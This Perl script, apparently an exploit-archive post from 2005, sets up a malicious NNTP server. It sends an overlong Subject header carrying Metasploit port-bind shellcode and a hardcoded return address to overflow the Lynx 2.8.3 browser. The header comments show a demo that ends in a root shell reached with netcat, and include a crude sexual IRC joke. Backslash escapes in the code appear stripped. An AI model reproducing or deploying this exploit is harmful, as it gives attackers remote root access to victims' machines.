#!/usr/bin/perl --

# lynx-nntp-server
# by Ulf Harnhammar in 2005
# I hereby place this program in the public domain.

#*********************************************************************************
#*********************************************************************************
#
# edited by xwings in 1st Nov 2005 , xwings at xwings.net
#
# For all my friends in #mantis @ ptp
#
# 14:21 < mark> xwings
# 14:21 < mark> wanna fuck
# 14:21 < xwings> mark: sure
# 14:21 < mark> sweet
# 14:21  * mark gets his lingerie
#
# Why lynx ? I guess ... I am bored  ... :p
#
# Metasploit Port Bind Shellcode , Port : 3964
#
# Downloaded lynx from : 
# ftp://lynx.isc.org/lynx-2.8.3/lynx2-8-3.tar.gz
#
# Configure , make , make install under Kubuntu 5.10 (Breezy).
# gcc version 4.0.2 20050808 (prerelease) (Ubuntu 4.0.1-4ubuntu9)
# Linux note 2.6.12-9-386 #1 Mon Oct 10 13:14:36 BST 2005 i686 GNU/Linux
#
# (01:24:12).xwings@note.<lynx-htmime>$ /home/xwings/usr/bin/lynx -version
#
# Lynx Version 2.8.3rel.1 (23 Apr 2000)
# Built on linux-gnu Oct 22 2005 23:44:16
#
# Copyrights held by the University of Kansas, CERN, and other contributors.
# Distributed under the GNU General Public License.
# See http://lynx.browser.org/ and the online help for more information.
#
# *** [ Screen 1 ] ***
# (01:21:30).xwings@note.<lynx-htmime>$ sudo perl lynx-nntp-server.pl 
#  connection from 127.0.0.1
# SENT:  200 Internet News
# RECEIVED:  mode reader
# SENT:  200 Internet News
# RECEIVED:  GROUP my.server
# SENT:  211 1 1 1 my.server
# RECEIVED:  HEAD 1
# SENT:  221 1 <xyzzy@usenet.qx>
# Path: host!someotherhost!onemorehost
# From: <mr_talkative@usenet.qx>
# Subject: $@UU(JUU$@UU(JUU$@UU(JUU$@UU(JUU$@UU(JUU$@UU(JUU$@UU
# (JUU$@UU(JUU$@UU(JUU$@UU(JUU$@UU(JUU$@UU(JUU$@UU(JUU$@UU(JUU$@UU
# (JUUFFFFFF1é.?????????$???s????????????cB???k     C???i???VRaoZg???WaoX??????bSí1??????{???XX??????X.???Xi
# ???YoambRaoEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
# EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
# EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
# EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
# AAAAAAAAAABBBBBBBBBBCCCCCCCC???
# Newsgroup: my.server
# Message-ID: <xyzzy@usenet.qx>
# .
# TIMED OUT
# RECEIVED:
# closed
# 
# *** [ Screen 2 ] ***
# (01:21:39).xwings@note.<bin>$ sudo ./lynx nntp://localhost/my.server
#  
# *** [ Screen 3 ] ***
# (11:53:41).xwings@note.<~>$ nc localhost 3964
# id
# uid=0(root) gid=0(root) groups=0(root)
#
#*********************************************************************
#*********************************************************************

use strict;
use IO::Socket;

$main::port = 119;
$main::timeout = 5;


# *** SUBROUTINES ***


sub mysend($$)
{
  my $file = shift;
  my $str = shift;

  print $file "$strn";
  print "SENT:  $strn";
} # sub mysend


sub myreceive($)
{
  my $file = shift;
  my $inp;

  eval
  {
    local $SIG{ALRM} = sub { die "alarmn" };
    alarm $main::timeout;
    $inp = <$file>;
    alarm 0;
  };

  if ($@ eq "alarmn") { $inp = ''; print "TIMED OUTn"; }
  $inp =~ tr/151200//d;
  print "RECEIVED:  $inpn";
  $inp;
} # sub myreceive


# *** MAIN PROGRAM ***


{
  my $server = IO::Socket::INET->new( Proto     => 'tcp',
                                      LocalPort => $main::port,
                                      Listen    => SOMAXCONN,
                                      Reuse     => 1);
  die "can't set up server!n" unless $server;


  while (my $client = $server->accept())
  {
    $client->autoflush(1);
    print 'connection from '.$client->peerhost."n";


    mysend($client, '200 Internet News');
    my $group = 'alt.angst';

    while (my $str = myreceive($client))
    {
      if ($str =~ m/^mode reader$/i)
      {
        mysend($client, '200 Internet News');
        next;
      }

      if ($str =~ m/^group ([-_.a-zA-Z0-9]+)$/i)
      {
        $group = $1;
        mysend($client, "211 1 1 1 $group");
        next;
      }

      if ($str =~ m/^quit$/i)
      {
        mysend($client, '205 Goodbye');
        last;
      }

      if ($str =~ m/^head ([0-9]+)$/i)
      {
        my $evil = '$@UU(JUU' x 15; # Edit the number!
        #$evil .= 'A' x (504 - length $evil); <-- I don't need this .. 
        
        ## Added by xwings
        
        $evil .= 'F' x 6; # Where is my shell ?
        $evil .= "x31xc9x83xe9xebxd9xeexd9x74x24xf4x5bx81x73x13xe8".
                 "x8ex30x01x83xebxfcxe2xf4xd9x55x63x42xbbxe4x32x6b".
                 "x8exd6xa9x88x09x43xb0x97xabxdcx56x69xe7xf2x56x52".
                 "x61x6fx5ax67xb0xdex61x57x61x6fxfdx81x58xe8xe1xe2".
                 "x25x0ex62x53xbexcdxb9xe0x58xe8xfdx81x7bxe4x32x58".
                 "x58xb1xfdx81xa1xf7xc9xb1xe3xdcx58x2exc7xfdx58x69".
                 "xc7xecx59x6fx61x6dx62x52x61x6fxfdx81";
        $evil .= 'E' x 236; # Initial Marker
        $evil .= 'A' x 10;  # Move Abit Further
        $evil .= 'B' x 10;  # Oh .. Abit more
        $evil .= 'C' x 8;   # Nearer ... 
        $evil .= "x9cxdfxffxbf"; #RET 0xbfffdf9c

        ## End of Add , xwings

        my $head = <<HERE;
221 $1 <xyzzy@usenet.qx>
Path: host!someotherhost!onemorehost
From: <mr_talkative@usenet.qx>
Subject: $evil
Newsgroup: $group
Message-ID: <xyzzy@usenet.qx>
.
HERE

        $head =~ s|s+$||s;
        mysend($client, $head);
        next;
      }

      mysend($client, '500 Syntax Error');
    } # while str=myreceive(client)

    close $client;
    print "closednnn";
  } # while client=server->accept()
}

# www.Syue.com [2005-11-02]